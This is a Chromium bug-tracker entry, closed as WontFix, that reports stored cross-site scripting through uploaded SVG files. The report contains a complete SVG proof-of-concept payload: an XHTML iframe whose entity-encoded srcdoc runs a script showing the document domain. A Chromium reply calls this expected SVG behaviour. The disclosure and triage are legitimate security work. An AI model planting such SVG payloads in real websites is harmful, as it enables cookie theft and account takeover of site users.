New issue
Advanced search Search tips

Issue 609395 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner: ----
Closed: May 2016
EstimatedDays: ----
NextAction: ----
OS: Mac
Pri: 2
Type: Bug-Security



Sign in to add a comment

SVG XSS

Reported by shubhamg...@gmail.com, May 5 2016

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36

Steps to reproduce the problem:
I don't know i have to report this bug here or not.

I'm able to reproduce this xss on Chrome, Firefox and Opera.

I have found a persistent xss vulnerability that allows attackers steal user's cookies, do csrf attacks against victim account or do phishing attacks. This vulnerability occurs due the page allows svg attachments that contains "xmlns=http://www.w3.org/1999/xhtml", then the page will render the content of the xml as html , so resulting on a xss vulnerability.

<svg xmlns="http://www.w3.org/2000/svg" viewbox="-1 -1 15 15">
  <rect y="0" height="13" width="12" stroke="#179" rx="1" fill="#2ac"/>
  <text x="1.5" y="11" font-family="courier" stroke="white" font-size="16"><![CDATA[B]]></text>
  <iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x45;&#x44;&#x20;&#x3D;&#x3E;&#x20;&#x44;&#x6F;&#x6D;&#x61;&#x69;&#x6E;&#x28;&#x27;&#x2B;&#x74;&#x6F;&#x70;&#x2E;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x64;&#x6F;&#x6D;&#x61;&#x69;&#x6E;&#x2B;&#x27;&#x29;&#x27;&#x29;&#x3B;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;"></iframe>
</svg>

kindly let me know if you needed more info.

What is the expected behavior?

What went wrong?
Some web apps now allow svg files to be uploaded under images category.

Did this work before? N/A 

Chrome version: 50.0.2661.94  Channel: stable
OS Version: OS X 10.11.4
Flash Version: Shockwave Flash 21.0 r0

i reported this bug on hackerone internet bug bounty program they told me This is by-designed browser behavior. If you disagree, file a bug report with Mozilla or Chrome. Thanks! that's why i'm reporting this bug here.

Best Regard
Shubham
 
Internet Bug Bounty.png
43.1 KB View Download

Comment 1 by f...@chromium.org, May 6 2016

Labels: -Restrict-View-SecurityTeam
Status: WontFix (was: Unconfirmed)
Thanks for the report.

This is how SVG files work. Websites should be careful with how they handle SVG files, because it is like uploading an HTML file. If a website is allowing arbitrary SVG files to execute, then it is a bug in that website.
Project Member

Comment 2 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 3 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment